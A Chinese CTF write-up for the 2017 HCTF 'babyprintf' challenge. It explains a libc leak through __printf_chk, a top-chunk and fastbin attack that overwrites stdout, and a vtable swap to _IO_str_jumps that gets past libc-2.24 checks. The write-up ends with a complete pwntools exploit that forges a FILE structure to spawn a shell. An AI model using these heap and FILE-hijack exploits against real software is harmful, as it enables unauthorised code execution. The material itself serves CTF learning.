babyprintf
題目只有malloc和一個printf_chk,printf_chk和printf不同的地方有兩點:
- 不能使用$n不連續的打印
- 在使用%n的時候會做一系列檢查
雖然如此,但leak libc地址還是可以的。這個我想大部分人都想到了。
然后重點就是如何使用程序唯一的堆溢出。沒有free的問題 可以通過free topchunk解決,然后很多選手在這都使用了unsortedbin attack拿到shell。
如何通過unsortedbin attack利用我就不多說了, 應該會有其他wp放出。我說一下如何利用 fastbin attack解決這個問題。首先我們能free 一個top chunk,然后有了第一個就能有第二個,不斷申請內存或者覆蓋top chunk的size可以很輕易的做到這點。同時,我們可以另下面那個的size為0x41,之后申請上面那個堆塊就能把下面這個fastbin覆蓋了。通過這個0x41的fastbin attack, 我們可以覆蓋到位于data段上的stdout指針,具體如下
freed chunk1 alloced——————– ——————–
dummy -> overflow——————– ——————–
freed chunk2(0x41) chunk2->fd=target——————– ——————–
當然libc中是存在onegadget的,所以也有人直接去覆蓋malloc_hook,這些都可以
然后一個比較蛋疼的是libc-2.24的問題,因它為加入了新的對vtable的檢驗機制。如何繞過呢?這個方法很多,只要記得一點,我們已經能控制“整個“FILE結構體,這點如果稍微去看下源碼的話應該能找到很多方法,這里提供一個替換vtable( _IO_file_jumps)到另一個vtable( _IO_str_jumps), 利用兩個vtable defalut方法的不同拿到shell的解題腳本(偏移請自行更改):
from pwn import *
context.log_level='debug'
def pr(size,data):
p.sendline(str(size))
p.recv()
p.sendline(data)
p.recvuntil('result: ')
return p.recvuntil('size: ')[:-5]
p = process('./babyprintf')
p.recvuntil('size: ')
for i in range(32):
pr(0xff0,'a')
p.sendline('0xe00')
p.recv()
p.sendline('%llx')
p.recvuntil('result: ')
libc_addr = int('0x'+p.recv(12),16)-0x3c6780
print 'libc: ',hex(libc_addr)
p.recvuntil('size: ')
pr(8,'a'*0x18+p64(0x1d1))
pr(0x1d0,'1')
pr(0x130,'1')
pr(0xd00,'1')
pr(0xa0,'a'*0xa8+p64(0x61))
pr(0x200,'a')
p.sendline('0x60')
p.recvuntil('string: ')
p.sendline('\x00'*0x2028+p64(0x41)+p64(0x601062))
p.recv()
pr(0x30,'a')
system_addr = libc_addr + 0x45390
sh_addr = libc_addr + 0x18cd17
malloc_addr = libc_addr + 0x84130
vtable_addr = libc_addr+0x3c37a0
flag=2|0x8000
fake_stream = p64(flag)+p64(0)
fake_stream += p64(0)*2
fake_stream += p64(0)
fake_stream += p64(0x7fffffffffffffff)
fake_stream = fake_stream.ljust(0x38,'\x00')
fake_stream += p64(sh_addr)
fake_stream += p64(sh_addr)
fake_stream = fake_stream.ljust(0xc0,'\x00')
fake_stream += p64(0xffffffffffffffff)
fake_stream = fake_stream.ljust(0xd8,'\x00')
fake_stream += p64(vtable_addr)
fake_stream += p64(malloc_addr) #alloc
fake_stream += p64(system_addr) #hook free
p.sendline('0x30')
p.sendline('a'*14+p64(0x601090)+p64(0)+fake_stream)
p.interactive()
2017HCTF-Writeup